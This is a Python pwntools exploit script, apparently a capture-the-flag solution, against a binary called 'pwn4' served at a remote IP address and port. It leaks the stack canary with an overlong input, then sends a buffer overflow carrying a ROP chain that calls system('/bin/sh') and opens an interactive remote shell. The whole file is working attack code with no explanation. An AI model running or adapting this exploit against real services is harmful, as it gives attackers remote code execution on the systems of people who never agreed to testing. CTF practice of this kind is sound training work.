#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
#io = process('./pwn4')
io = remote("114.67.246.176", 11682)
elf = ELF('./pwn4')
#context(arch='amd64', os='linux', log_level='debug')
context(arch='amd64', os='linux')

binsh = 0x0000000000601068
system = elf.symbols['system']
pop_rdi_ret = 0x0000000000400963
ret = 0x0000000000400611

io.recvuntil("Length):")
io.send(b"A"*(0x240-0x08)+b"\n")
io.recvuntil("AAAA\n")
canary = u64(b"\x00"+io.recv(7))
log.success(f"Leak canary: {hex(canary)}")

io.recvuntil("Length):")
io.send(cyclic(0x210-0x08)+p64(canary)+p64(0xdeadbeef)+p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system))
io.recv()
io.interactive()
